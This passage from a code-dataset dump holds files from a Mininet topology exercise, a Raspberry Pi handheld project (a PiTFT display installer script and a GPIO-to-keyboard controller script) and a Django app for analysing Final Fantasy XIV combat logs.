\tprint \"\\nadding\\n\",h[i],s[p]\n if(i%2 == 0):\n \ttemp.intf1.config(bw=1)\t\n \telse:\n \t\ttemp.intf1.config(bw=2)\n \tif c%int(x) == 0:\n \t\tp = p + 1\n \tc = c + 1\n\n for i in range(len(s)-1):\n \tnet.addLink( s[i], s[i+1])\n\t\n print \"*****\",s[i],s[i+1]\n info( '*** Starting network\\n')\n\n net.start()\n\n info( '*** Running CLI\\n' )\n CLI( net )\n\n info( '*** Stopping network' )\n net.stop()\n\nif __name__ == '__main__':\n setLogLevel( 'info' )\n emptyNet()\n" }, { "alpha_fraction": 0.7753164768218994, "alphanum_fraction": 0.7816455960273743, "avg_line_length": 27.81818199157715, "blob_id": "85398ca425acaf8e94af02208d665a1e515fb27d", "content_id": "88ae5f86c4e736f5ff2cd36d0fa471a557389561", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 316, "license_type": "no_license", "max_line_length": 80, "num_lines": 11, "path": "/README.md", "repo_name": "ankur263/201405551_cloud_assignments", "src_encoding": "UTF-8", "text": "# Mininet\n\nToplogy having Y switches with X host per switch\n\nOdd number of host has bandwidth of 1Mbps and even host has BW of 2Mbps\n\nOdd host can contact each other and even can contact each other\n\nHow to run:\npython CustomNet.py X Y\nwhere X is the number of host per switch and Y is number of switches in topology" } ]
2
eriq-augustine/gamesboy
https://github.com/eriq-augustine/gamesboy
1635d2083a13e71c4b727648a1f00bb586f872bb
1797e72875d9dbb783a1c1635a675ee26c0689c7
bf6b609afdd4bfb7d5d4e77fdf5636ff1e38d3c1
refs/heads/master
2020-12-11T08:39:06.760331
2020-01-19T21:52:18
2020-01-19T21:52:18
233,803,139
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6303925514221191, "alphanum_fraction": 0.6651768088340759, "avg_line_length": 28.5747127532959, "blob_id": "1b276a9f05702e123a946c5e6c70bd5a3a9f9a97", "content_id": "c2d35f35868082546e8163e5cf256c591365e3c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5146, "license_type": "no_license", "max_line_length": 118, "num_lines": 174, "path": "/install-adafruit-pitft-fbcp-ili9341.sh", "repo_name": "eriq-augustine/gamesboy", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Modified to use fbcp-ili9341 instead of fbcp.\n# Original: https://raw.githubusercontent.com/adafruit/Raspberry-Pi-Installer-Scripts/master/adafruit-pitft.sh\n# This script is still in the process of being cleaned up.\n\n# No touchscreen.\n# Hardcoded to HDMI mirror.\n# Hardcoded the HDMI resolution (pitft will scale).\n# Assumes no login screen.\n# Assumes Systemd.\n# Assumes the 2.8 resistive touch screen.\n# Assumes landscape.\n\n# TODO(eriq): Review all packages.\n\nif [ $(id -u) -ne 0 ]; then\n echo \"Installer must be run as root.\"\n echo \"Try 'sudo bash $0'\"\n exit 1\nfi\n\nset -e\ntrap exit SIGINT\n\n# Given a filename, a regex pattern to match and a replacement string,\n# perform replacement if found, else append replacement to end of file.\n# (# $1 = filename, $2 = pattern to match, $3 = replacement)\nreconfig() {\n grep $2 $1 >/dev/null\n if [ $? -eq 0 ]; then\n # Pattern found; replace in file\n sed -i \"s/$2/$3/g\" $1 >/dev/null\n else\n # Not found; append (silently)\n echo $3 | sudo tee -a $1 >/dev/null\n fi\n}\n\n\n############################ Sub-Scripts ############################\n\nfunction softwareinstall() {\n echo \"Installing Pre-requisite Software...This may take a few minutes!\"\n\n sudo apt-get update\n apt-get install -y bc cmake python-dev python-pip python-smbus python-spidev evtest libts-bin device-tree-compiler\n pip install evdev\n}\n\n# update /boot/config.txt with appropriate values\nfunction update_configtxt() {\n if grep -q \"adafruit-pitft-helper\" \"/boot/config.txt\"; then\n echo \"Already have an adafruit-pitft-helper section in /boot/config.txt.\"\n echo \"Removing old section...\"\n cp /boot/config.txt /boot/config.txt.bak\n sed -i -e \"/^# --- added by adafruit-pitft-helper/,/^# --- end adafruit-pitft-helper/d\" /boot/config.txt\n fi\n\n if [ \"${pitfttype}\" == \"28r\" ]; then\n overlay=\"dtoverlay=pitft28-resistive,rotate=${pitftrot},speed=64000000,fps=30\"\n fi\n\n date=`date`\n\n cat >> /boot/config.txt <<EOF\n# --- added by adafruit-pitft-helper $date ---\ndtparam=spi=on\ndtparam=i2c1=on\ndtparam=i2c_arm=on\n$overlay\nhdmi_cvt=1280 960 60 1 0 0 0\n# --- end adafruit-pitft-helper $date ---\nEOF\n}\n\nfunction uninstall_console() {\n echo \"Removing console fbcon map from /boot/cmdline.txt\"\n sed -i 's/rootwait fbcon=map:10 fbcon=font:VGA8x8/rootwait/g' \"/boot/cmdline.txt\"\n echo \"Screen blanking time reset to 10 minutes\"\n if [ -e \"/etc/kbd/config\" ]; then\n sed -i 's/BLANK_TIME=0/BLANK_TIME=10/g' \"/etc/kbd/config\"\n fi\n sed -i -e '/^# disable console blanking.*/d' /etc/rc.local\n sed -i -e '/^sudo sh -c \"TERM=linux.*/d' /etc/rc.local\n}\n\nfunction install_fbcp() {\n echo \"Downloading rpi-fbcp...\"\n cd /tmp\n curl -sLO https://github.com/juj/fbcp-ili9341/archive/master.zip\n echo \"Uncompressing rpi-fbcp...\"\n rm -rf /tmp/fbcp-ili9341-master\n unzip master.zip\n cd fbcp-ili9341-master\n mkdir build\n cd build\n echo \"Building rpi-fbcp...\"\n cmake -DADAFRUIT_ILI9341_PITFT=ON -DSPI_BUS_CLOCK_DIVISOR=30 -DDISPLAY_ROTATE_180_DEGREES=ON -DSTATISTICS=0 ..\n make -j\n echo \"Installing rpi-fbcp...\"\n install fbcp-ili9341 /usr/local/bin/fbcp\n cd ~\n rm -rf /tmp/fbcp-ili9341-master\n\n # Install fbcp systemd unit, first making sure it's not in rc.local:\n echo \"We have systemd, so install fbcp systemd unit...\"\n install_fbcp_unit\n\n # Disable overscan compensation (use full screen):\n raspi-config nonint do_overscan 1\n\n # Set up HDMI parameters:\n echo \"Configuring boot/config.txt for forced HDMI\"\n reconfig /boot/config.txt \"^.*hdmi_force_hotplug.*$\" \"hdmi_force_hotplug=1\"\n reconfig /boot/config.txt \"^.*hdmi_group.*$\" \"hdmi_group=2\"\n reconfig /boot/config.txt \"^.*hdmi_mode.*$\" \"hdmi_mode=87\"\n\n if [ \"${pitftrot}\" == \"90\" ] || [ \"${pitftrot}\" == \"270\" ]; then\n # dont rotate HDMI on 90 or 270\n reconfig /boot/config.txt \"^.*display_hdmi_rotate.*$\" \"\"\n fi\n}\n\nfunction install_fbcp_unit() {\n sudo cp systemd-units/fbcp.service /etc/systemd/system/fbcp.service\n sudo systemctl enable fbcp.service\n}\n\necho \"This script downloads and installs\"\necho \"PiTFT Support using userspace touch\"\necho \"controls and a DTO for display drawing.\"\necho \"one of several configuration files.\"\necho \"Run time of up to 5 minutes. Reboot required!\"\necho\n\nPITFT_ROTATIONS=(\"90\" \"180\" \"270\" \"0\")\nPITFT_TYPES=(\"28r\" \"22\" \"28c\" \"35r\" \"st7789_240x240\" \"st7789_240x135\")\nWIDTH_VALUES=(320 320 320 480 240)\nHEIGHT_VALUES=(240 240 240 320 240)\n\nPITFT_SELECT=1\nPITFT_ROTATE=3\n\nSYSTEMD=1\n\npitfttype=${PITFT_TYPES[$PITFT_SELECT-1]}\npitftrot=${PITFT_ROTATIONS[$PITFT_ROTATE-1]}\n\necho \"Installing Python libraries & Software...\"\nsoftwareinstall\n\necho \"Updating /boot/config.txt...\"\nupdate_configtxt\n\necho \"Making sure console doesn't use PiTFT\"\nuninstall_console\n\necho \"Adding FBCP support...\"\ninstall_fbcp\n\necho \"Success!\"\necho\necho \"Settings take effect on next boot.\"\necho\necho -n \"REBOOT NOW? [y/N] \"\nread\nif [[ ! \"$REPLY\" =~ ^(yes|y|Y)$ ]]; then\n echo \"Exiting without reboot.\"\n exit 0\nfi\necho \"Reboot started...\"\nreboot\nexit 0\n" }, { "alpha_fraction": 0.5877256393432617, "alphanum_fraction": 0.5992779731750488, "avg_line_length": 19.984848022460938, "blob_id": "e74c91cbe2793f59e5940731bab084b6009884ff", "content_id": "b51e6bc123ac8f84c146e4dc803fd4bdee232285", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1385, "license_type": "no_license", "max_line_length": 86, "num_lines": 66, "path": "/gamesboy-controller.py", "repo_name": "eriq-augustine/gamesboy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# Map the GPIO pins for the Gamesboy controller to keyboard events.\n# Install with: sudo install gamesboy-controller.py /usr/local/bin/gamesboy-controller\n\nimport signal\n\nimport gpiozero\nimport keyboard\n\n# {pin: (game key, keyboard key)}\nBUTTON_MAP = {\n 26: ('a', 'z'),\n 16: ('b', 'x'),\n\n 12: ('up', 'up'),\n 6: ('down', 'down'),\n 5: ('left', 'left'),\n 13: ('right', 'right'),\n\n 22: ('select', 'shift'),\n 23: ('start', 'enter'),\n}\n\n# Pull floating pins down to 0.\nPULL_UP = False\n\ndef buttonDown(button):\n pinID = button.pin.number\n (gameKey, keyboardKey) = BUTTON_MAP[pinID]\n\n # print('Keypress Down: %s (%s) [%d]' % (gameKey, keyboardKey, pinID))\n\n keyboard.press(keyboardKey)\n\ndef buttonUp(button):\n pinID = button.pin.number\n (gameKey, keyboardKey) = BUTTON_MAP[pinID]\n\n # print('Keypress Up: %s (%s) [%d]' % (gameKey, keyboardKey, pinID))\n\n keyboard.release(keyboardKey)\n\ndef main():\n usedPins = []\n\n # Setup all the buttons.\n for pinID in BUTTON_MAP:\n button = gpiozero.Button(pinID, pull_up = PULL_UP)\n\n button.when_pressed = buttonDown\n button.when_released = buttonUp\n\n usedPins.append(button)\n\n # Pause the main thread.\n try:\n signal.pause()\n except:\n pass\n\n for pin in usedPins:\n pin.close()\n\nif (__name__ == '__main__'):\n main()\n" } ]
2
tiliv/xivinsight
https://github.com/tiliv/xivinsight
40ad30da58386b93f441bbf034b276b0a65babaa
515a8af660dc96f4902197a1fe5824bae9a9360d
e2ef7513f3624b382752e32ca367abbfb535aa68
refs/heads/master
2021-01-22T11:58:29.421840
2014-12-04T10:05:34
2014-12-04T10:05:34
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7122092843055725, "alphanum_fraction": 0.7122092843055725, "avg_line_length": 30.272727966308594, "blob_id": "53cd99c3ebe58e007b8ff5d2b1130f9517daafce", "content_id": "00d986f8386046886f44ec7fdc8cf5450a5f19a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 344, "license_type": "no_license", "max_line_length": 77, "num_lines": 11, "path": "/xivinsight/xivinsight/core/managers.py", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "from django.db import models\n\nfrom . import utils\n\nclass SwingQuerySet(models.QuerySet):\n def analyze_fields(self):\n return utils.annotate_timestamp_deltas(self, timestamp_field='stime')\n\n def gcd(self):\n # FIXME: can't tell difference betwen instant/gcd yet\n return self.filter(swingtype=utils.SWING_TYPES['SKILL'])\n" }, { "alpha_fraction": 0.6998439431190491, "alphanum_fraction": 0.7059996724128723, "avg_line_length": 46.85892105102539, "blob_id": "4c78c5248f6c56d45fb0977fe44f9115b5c849b6", "content_id": "78c35b47f0ad993ffea403eea3caa732b5aedb74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11534, "license_type": "no_license", "max_line_length": 93, "num_lines": 241, "path": "/xivinsight/xivinsight/core/models.py", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "from django.db import models\n\nfrom . import managers, utils\n\nclass AttackType(models.Model):\n encid = models.CharField(\"ID\", max_length=8, primary_key=True)\n attacker = models.CharField(\"Attacker\", max_length=6, null=True, blank=True)\n victim = models.CharField(\"Victim\", max_length=6, null=True, blank=True)\n swingtype = models.IntegerField(\"Swing type\", null=True, blank=True)\n type = models.CharField(\"Type\", max_length=6, null=True, blank=True)\n starttime = models.DateTimeField(\"Start time\")\n endtime = models.DateTimeField(\"End time\", null=True, blank=True)\n duration = models.IntegerField(\"Duration\", null=True, blank=True)\n damage = models.IntegerField(\"Damage\", null=True, blank=True)\n encdps = models.FloatField(\"EncDPS\", null=True, blank=True)\n chardps = models.FloatField(\"CharDPS\", null=True, blank=True)\n dps = models.FloatField(\"DPS\", null=True, blank=True)\n average = models.FloatField(\"DPS Average\", null=True, blank=True)\n median = models.IntegerField(\"DPS Median\", null=True, blank=True)\n minhit = models.IntegerField(\"Minimum hit\", null=True, blank=True)\n maxhit = models.IntegerField(\"Maximum hit\", null=True, blank=True)\n resist = models.CharField(\"Resist\", max_length=6, null=True, blank=True)\n hits = models.IntegerField(\"Hits\", null=True, blank=True)\n crithits = models.IntegerField(\"Critical hits\", null=True, blank=True)\n blocked = models.IntegerField(\"Blocked\", null=True, blank=True)\n misses = models.IntegerField(\"Misses\", null=True, blank=True)\n swings = models.IntegerField(\"Swings\", null=True, blank=True)\n tohit = models.FloatField(\"To hit\", null=True, blank=True)\n averagedelay = models.FloatField(\"Average delay\", null=True, blank=True)\n critperc = models.CharField(\"Critical %\", max_length=8, null=True, blank=True)\n parry = models.IntegerField(\"Parry\", null=True, blank=True)\n parrypct = models.CharField(\"Parry %\", max_length=8, null=True, blank=True)\n block = models.IntegerField(\"Block\", null=True, blank=True)\n blockpct = models.CharField(\"Block %\", max_length=8, null=True, blank=True)\n dmgreduced = models.IntegerField(\"Damaged reduced\", null=True, blank=True)\n overheal = models.IntegerField(\"Overheal\", null=True, blank=True)\n\n class Meta:\n managed = False\n db_table = 'attacktype_table'\n\n def __str__(self):\n return \"{type}\".format(**self.__dict__)\n\n\nclass Combatant(models.Model):\n encid = models.CharField(max_length=8, primary_key=True)\n ally = models.CharField(max_length=1, null=True, blank=True)\n name = models.CharField(max_length=64, null=True, blank=True)\n starttime = models.DateTimeField()\n endtime = models.DateTimeField(null=True, blank=True)\n duration = models.IntegerField(null=True, blank=True)\n damage = models.IntegerField(null=True, blank=True)\n damageperc = models.CharField(max_length=4, null=True, blank=True)\n kills = models.IntegerField(null=True, blank=True)\n healed = models.IntegerField(null=True, blank=True)\n healedperc = models.CharField(max_length=4, null=True, blank=True)\n critheals = models.IntegerField(null=True, blank=True)\n heals = models.IntegerField(null=True, blank=True)\n curedispels = models.IntegerField(null=True, blank=True)\n powerdrain = models.IntegerField(null=True, blank=True)\n powerreplenish = models.IntegerField(null=True, blank=True)\n dps = models.FloatField(null=True, blank=True)\n encdps = models.FloatField(null=True, blank=True)\n enchps = models.FloatField(null=True, blank=True)\n hits = models.IntegerField(null=True, blank=True)\n crithits = models.IntegerField(null=True, blank=True)\n blocked = models.IntegerField(null=True, blank=True)\n misses = models.IntegerField(null=True, blank=True)\n swings = models.IntegerField(null=True, blank=True)\n healstaken = models.IntegerField(null=True, blank=True)\n damagetaken = models.IntegerField(null=True, blank=True)\n deaths = models.IntegerField(null=True, blank=True)\n tohit = models.FloatField(null=True, blank=True)\n critdamperc = models.CharField(max_length=8, null=True, blank=True)\n crithealperc = models.CharField(max_length=8, null=True, blank=True)\n threatstr = models.CharField(max_length=32, null=True, blank=True)\n threatdelta = models.IntegerField(null=True, blank=True)\n job = models.CharField(max_length=8, null=True, blank=True)\n parrypct = models.CharField(max_length=8, null=True, blank=True)\n blockpct = models.CharField(max_length=8, null=True, blank=True)\n inctohit = models.CharField(max_length=8, null=True, blank=True)\n overhealpct = models.CharField(max_length=8, null=True, blank=True)\n\n class Meta:\n managed = False\n db_table = 'combatant_table'\n\n def get_encounter(self):\n return Encounter.objects.get(encid=self.encid)\n\n def is_ally(self):\n return self.ally == \"T\"\n\n\nclass Current(models.Model):\n encid = models.CharField(max_length=8, primary_key=True)\n ally = models.CharField(max_length=1, null=True, blank=True)\n name = models.CharField(max_length=64, null=True, blank=True)\n starttime = models.DateTimeField()\n endtime = models.DateTimeField(null=True, blank=True)\n duration = models.IntegerField(null=True, blank=True)\n damage = models.IntegerField(null=True, blank=True)\n damageperc = models.CharField(max_length=4, null=True, blank=True)\n kills = models.IntegerField(null=True, blank=True)\n healed = models.IntegerField(null=True, blank=True)\n healedperc = models.CharField(max_length=4, null=True, blank=True)\n critheals = models.IntegerField(null=True, blank=True)\n heals = models.IntegerField(null=True, blank=True)\n curedispels = models.IntegerField(null=True, blank=True)\n powerdrain = models.IntegerField(null=True, blank=True)\n powerreplenish = models.IntegerField(null=True, blank=True)\n dps = models.FloatField(null=True, blank=True)\n encdps = models.FloatField(null=True, blank=True)\n enchps = models.FloatField(null=True, blank=True)\n hits = models.IntegerField(null=True, blank=True)\n crithits = models.IntegerField(null=True, blank=True)\n blocked = models.IntegerField(null=True, blank=True)\n misses = models.IntegerField(null=True, blank=True)\n swings = models.IntegerField(null=True, blank=True)\n healstaken = models.IntegerField(null=True, blank=True)\n damagetaken = models.IntegerField(null=True, blank=True)\n deaths = models.IntegerField(null=True, blank=True)\n tohit = models.FloatField(null=True, blank=True)\n critdamperc = models.CharField(max_length=8, null=True, blank=True)\n crithealperc = models.CharField(max_length=8, null=True, blank=True)\n threatstr = models.CharField(max_length=32, null=True, blank=True)\n threatdelta = models.IntegerField(null=True, blank=True)\n job = models.CharField(max_length=8, null=True, blank=True)\n parrypct = models.CharField(max_length=8, null=True, blank=True)\n blockpct = models.CharField(max_length=8, null=True, blank=True)\n inctohit = models.CharField(max_length=8, null=True, blank=True)\n overhealpct = models.IntegerField(null=True, blank=True)\n\n class Meta:\n managed = False\n db_table = 'current_table'\n\n\nclass DamageType(models.Model):\n encid = models.CharField(max_length=8, primary_key=True)\n combatant = models.CharField(max_length=64, null=True, blank=True)\n grouping = models.CharField(max_length=92, null=True, blank=True)\n type = models.CharField(max_length=64, null=True, blank=True)\n starttime = models.DateTimeField()\n endtime = models.DateTimeField(null=True, blank=True)\n duration = models.IntegerField(null=True, blank=True)\n damage = models.IntegerField(null=True, blank=True)\n encdps = models.FloatField(null=True, blank=True)\n chardps = models.FloatField(null=True, blank=True)\n dps = models.FloatField(null=True, blank=True)\n average = models.FloatField(null=True, blank=True)\n median = models.IntegerField(null=True, blank=True)\n minhit = models.IntegerField(null=True, blank=True)\n maxhit = models.IntegerField(null=True, blank=True)\n hits = models.IntegerField(null=True, blank=True)\n crithits = models.IntegerField(null=True, blank=True)\n blocked = models.IntegerField(null=True, blank=True)\n misses = models.IntegerField(null=True, blank=True)\n swings = models.IntegerField(null=True, blank=True)\n tohit = models.FloatField(null=True, blank=True)\n averagedelay = models.FloatField(null=True, blank=True)\n critperc = models.CharField(max_length=8, null=True, blank=True)\n parrypct = models.CharField(max_length=8, null=True, blank=True)\n blockpct = models.CharField(max_length=8, null=True, blank=True)\n overheal = models.IntegerField(null=True, blank=True)\n\n class Meta:\n managed = False\n db_table = 'damagetype_table'\n\n\nclass Encounter(models.Model):\n encid = models.CharField(max_length=8, primary_key=True)\n title = models.CharField(max_length=64, null=True, blank=True)\n starttime = models.DateTimeField()\n endtime = models.DateTimeField(null=True, blank=True)\n duration = models.IntegerField(null=True, blank=True)\n damage = models.IntegerField(null=True, blank=True)\n encdps = models.DecimalField(max_digits=10, decimal_places=2, null=True, blank=True)\n zone = models.CharField(max_length=64, null=True, blank=True)\n kills = models.IntegerField(null=True, blank=True)\n deaths = models.IntegerField(null=True, blank=True)\n\n class Meta:\n managed = False\n db_table = 'encounter_table'\n\n def __str__(self):\n return \"{encid} - {title}\".format(**self.__dict__)\n\n def get_combatants(self):\n return Combatant.objects.filter(encid=self.encid)\n\n\nclass Swing(models.Model):\n objects = managers.SwingQuerySet.as_manager()\n\n encid = models.CharField(max_length=8, primary_key=True)\n stime = models.DateTimeField()\n attacker = models.CharField(max_length=64, null=True, blank=True)\n swingtype = models.IntegerField(choices=utils.SWING_TYPES_CHOICES, null=True, blank=True)\n attacktype = models.CharField(max_length=64, null=True, blank=True)\n damagetype = models.CharField(max_length=64, null=True, blank=True)\n victim = models.CharField(max_length=64, null=True, blank=True)\n damage = models.IntegerField(null=True, blank=True)\n damagestring = models.CharField(max_length=128, null=True, blank=True)\n critical = models.CharField(max_length=1, null=True, blank=True)\n special = models.CharField(max_length=64, null=True, blank=True)\n dmgadjust = models.CharField(max_length=8, null=True, blank=True)\n dmgreduced = models.IntegerField(null=True, blank=True)\n overheal = models.IntegerField(null=True, blank=True)\n\n # def get_stime_delta(self):\n # return getattr(self, '_stime_delta', \"wut\")\n\n class Meta:\n managed = False\n db_table = 'swing_table'\n ordering = ('stime',)\n\n # def get_stime_delta(self):\n # return getattr(self, '')\n\n def get_real_attacktype(self):\n return self.attacktype.replace(\" (*)\", \"\")\n\n def is_dot_tick(self):\n return self.swingtype == utils.SWING_TYPES['DOT_TICK']\n\n def is_ability(self):\n return self.swingtype == utils.SWING_TYPES['SKILL']\n\n def is_gcd_ability(self):\n # FIXME: Can't tell abilities apart yet\n if self.is_dot_tick():\n return False\n return True\n\n def is_critical_hit(self):\n return self.critical == \"T\"\n" }, { "alpha_fraction": 0.6756397485733032, "alphanum_fraction": 0.6763043999671936, "avg_line_length": 26.345455169677734, "blob_id": "c9c4221250466f4b9a2e2cf456908544c4d3123e", "content_id": "56af24b2c71c6d74b0ca61306c9a63f421533b86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3009, "license_type": "no_license", "max_line_length": 92, "num_lines": 110, "path": "/xivinsight/xivinsight/core/serializers.py", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "from datetime import timedelta\nfrom operator import itemgetter\n\nfrom django.core import validators\nfrom django.core.exceptions import ValidationError\nfrom django.utils.translation import ugettext_lazy as _\n\nimport numpy\nfrom rest_framework import serializers\nfrom rest_framework.fields import Field\n\nfrom . import models\n\n\nclass TimedeltaField(Field):\n type_name = 'TimedeltaField'\n # form_field_class = forms.FloatField\n\n default_error_messages = {\n 'invalid': _(\"'%s' value must be in seconds.\"),\n }\n\n def to_representation(self, obj):\n return obj.total_seconds()\n\n def to_internal_value(self, value):\n if value in validators.EMPTY_VALUES:\n return None\n\n try:\n return datetime.timedelta(seconds=float(value))\n except (TypeError, ValueError):\n msg = self.error_messages['invalid'] % value\n raise ValidationError(msg)\n\n\n\n\nclass AttackTypeSerializer(serializers.ModelSerializer):\n class Meta:\n model = models.AttackType\n\nclass CombatantSerializer(serializers.ModelSerializer):\n ally = serializers.BooleanField(source='is_ally')\n\n class Meta:\n model = models.Combatant\n\nclass CurrentSerializer(serializers.ModelSerializer):\n class Meta:\n model = models.Current\n\nclass DamageTypeSerializer(serializers.ModelSerializer):\n class Meta:\n model = models.DamageType\n\nclass SwingListSerializer(serializers.ListSerializer):\n @property\n def data(self):\n # NOTE: Skipping super() here because it'll dumb down the dict to a list of its keys\n if not hasattr(self, '_data'):\n self._data = self.to_representation(self.instance)\n return self._data\n\n def to_representation(self, data):\n objects = super(SwingListSerializer, self).to_representation(data)\n\n data = {\n 'objects': objects,\n }\n data.update(self.get_statistical_values(objects))\n return data\n\n def get_statistical_values(self, objects):\n deltas = numpy.array(tuple(map(itemgetter('stime_delta'), objects)))\n # median = numpy.median(deltas)\n # if median == numpy.nan:\n # median = 0\n median = 0\n return {\n 'median_stime_delta': median,\n }\n\nclass SwingSerializer(serializers.ModelSerializer):\n\n # Model methods\n is_ability = serializers.BooleanField()\n is_gcd_ability = serializers.BooleanField()\n is_critical_hit = serializers.BooleanField()\n is_dot_tick = serializers.BooleanField()\n\n # Computed\n stime_delta = TimedeltaField()\n\n class Meta:\n model = models.Swing\n list_serializer_class = SwingListSerializer\n\n\nclass EncounterSummarySerializer(serializers.ModelSerializer):\n class Meta:\n model = models.Encounter\n\n\nclass EncounterSerializer(serializers.ModelSerializer):\n combatants = CombatantSerializer(source='get_combatants', many=True, read_only=True)\n # swings =\n\n class Meta:\n model = models.Encounter\n\n" }, { "alpha_fraction": 0.6356877088546753, "alphanum_fraction": 0.6356877088546753, "avg_line_length": 28.88888931274414, "blob_id": "bc521efd83171d0c28531065482525a810d9e363", "content_id": "366ff82dae389ad90184dfdfbed006bb13d3f6b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 269, "license_type": "no_license", "max_line_length": 59, "num_lines": 9, "path": "/xivinsight/xivinsight/core/static/app/SiteConfiguration.js", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "angular.module('xivinsight.services.SiteConfiguration', [])\n\n.factory('SiteConfiguration', function(){\n return {\n STATIC_URL: window._STATIC_URL,\n IMAGE_URL: window._STATIC_URL + 'img/',\n TEMPLATE_URL: window._STATIC_URL + 'templates/'\n }\n})\n" }, { "alpha_fraction": 0.7704917788505554, "alphanum_fraction": 0.7704917788505554, "avg_line_length": 29.33333396911621, "blob_id": "0ce4da34084de1de38a927de846fc0a38df238fb", "content_id": "37a3703e7d1541aa52adf8d7f050b7b5a8fbcbfe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 183, "license_type": "no_license", "max_line_length": 60, "num_lines": 6, "path": "/xivinsight/xivinsight/core/views.py", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "from django.views.decorators.csrf import requires_csrf_token\nfrom django.shortcuts import render\n\n@requires_csrf_token\ndef site(request):\n return render(request, \"site.html\", {})\n\n" }, { "alpha_fraction": 0.7448979616165161, "alphanum_fraction": 0.7448979616165161, "avg_line_length": 23.5, "blob_id": "7e1b0dd5e9a26b097b1a70f4a110e9f2e12334ec", "content_id": "825fc4a66629fdc1f0a1e422ff764048c84e3b88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 98, "license_type": "no_license", "max_line_length": 74, "num_lines": 4, "path": "/README.md", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "xivinsight\n==========\n\nAnalyzer for ACT parse output, special attention given to FFXIV encounters\n" }, { "alpha_fraction": 0.6887466907501221, "alphanum_fraction": 0.6887466907501221, "avg_line_length": 35.90277862548828, "blob_id": "f0bc4fe15e1922268bdc6e3bcd436a3c4f4ec962", "content_id": "91a32a8b9359b6b5d0952e175b25a10aadd888aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2657, "license_type": "no_license", "max_line_length": 98, "num_lines": 72, "path": "/xivinsight/xivinsight/core/api.py", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "import django.db.models\n\nfrom rest_framework import viewsets\nfrom rest_framework.decorators import detail_route\nfrom rest_framework.response import Response\n\nfrom . import models, serializers, utils\n\nfilter_types = {\n django.db.models.CharField: ['icontains', 'iexact'],\n django.db.models.IntegerField: ['exact'],\n}\n\nclass FieldFilterMixin(object):\n def get_queryset(self):\n queryset = self.queryset\n model = queryset.model\n queryset_filters = {}\n for f in model._meta.local_fields:\n if f.name not in self.request.QUERY_PARAMS:\n continue\n field_search = self.request.QUERY_PARAMS[f.name]\n\n for field_type, filters in filter_types.items():\n if not isinstance(f, field_type):\n continue\n for filter in filters:\n k = f.name + \"__\" + filter\n queryset_filters[k] = field_search\n return queryset.filter(**queryset_filters)\n\nclass AttackTypeViewSet(FieldFilterMixin, viewsets.ModelViewSet):\n queryset = models.AttackType.objects.all()\n serializer_class = serializers.AttackTypeSerializer\n\nclass CombatantViewSet(FieldFilterMixin, viewsets.ModelViewSet):\n queryset = models.Combatant.objects.all()\n serializer_class = serializers.CombatantSerializer\n\nclass CurrentViewSet(FieldFilterMixin, viewsets.ModelViewSet):\n queryset = models.Current.objects.all()\n serializer_class = serializers.CurrentSerializer\n\nclass DamageTypeViewSet(FieldFilterMixin, viewsets.ModelViewSet):\n queryset = models.DamageType.objects.all()\n serializer_class = serializers.DamageTypeSerializer\n\nclass EncounterViewSet(FieldFilterMixin, viewsets.ModelViewSet):\n queryset = models.Encounter.objects.all()\n serializer_class = serializers.EncounterSummarySerializer\n\n @detail_route()\n def full(self, request, pk, **kwargs):\n obj = self.get_object()\n serializer = serializers.EncounterSerializer(obj)\n return Response(serializer.data)\n\n # @detail_route()\n # def gcd(self, request, pk):\n # \"\"\"\n # Return the set of swings for this enounter that qualify for analysis as a core rotation.\n # \"\"\"\n # queryset = models.Swing.objects.filter(encid=pk).gcd().analyze_fields()\n # serializer = serializers.SwingSerializer(queryset, many=True)\n # return Response(serializer.data)\n\nclass SwingViewSet(FieldFilterMixin, viewsets.ModelViewSet):\n queryset = models.Swing.objects.all()\n serializer_class = serializers.SwingSerializer\n\n def destroy(self, request, pk=None):\n print('--- destroy requested pk=', pk)\n" }, { "alpha_fraction": 0.709956705570221, "alphanum_fraction": 0.709956705570221, "avg_line_length": 49.21739196777344, "blob_id": "2f138d04bb3a4599f830bd411e172549cbf0a9f5", "content_id": "eb32bb537c6bc4fbac668bc0e8348c59e0c45593", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1155, "license_type": "no_license", "max_line_length": 352, "num_lines": 23, "path": "/xivinsight/xivinsight/core/admin.py", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\nfrom xivinsight.core.models import AttackType, Combatant, Current, DamageType, Encounter, Swing\n\nclass AttackTypeAdmin(admin.ModelAdmin):\n list_display = ['encid', 'attacker', 'victim', 'swingtype', 'type', 'starttime', 'endtime', 'duration', 'damage', 'encdps', 'chardps', 'dps', 'average', 'median', 'minhit', 'maxhit', 'resist', 'hits', 'crithits', 'blocked', 'misses', 'swings', 'tohit', 'averagedelay', 'critperc', 'parry', 'parrypct', 'block', 'blockpct', 'dmgreduced', 'overheal']\n list_filter = ['encid', 'attacker', 'victim', 'misses']\n\n\nclass GenericAdmin(admin.ModelAdmin):\n pass\n\nclass EncounterAdmin(admin.ModelAdmin):\n date_hiearchy = 'starttime'\n list_display = 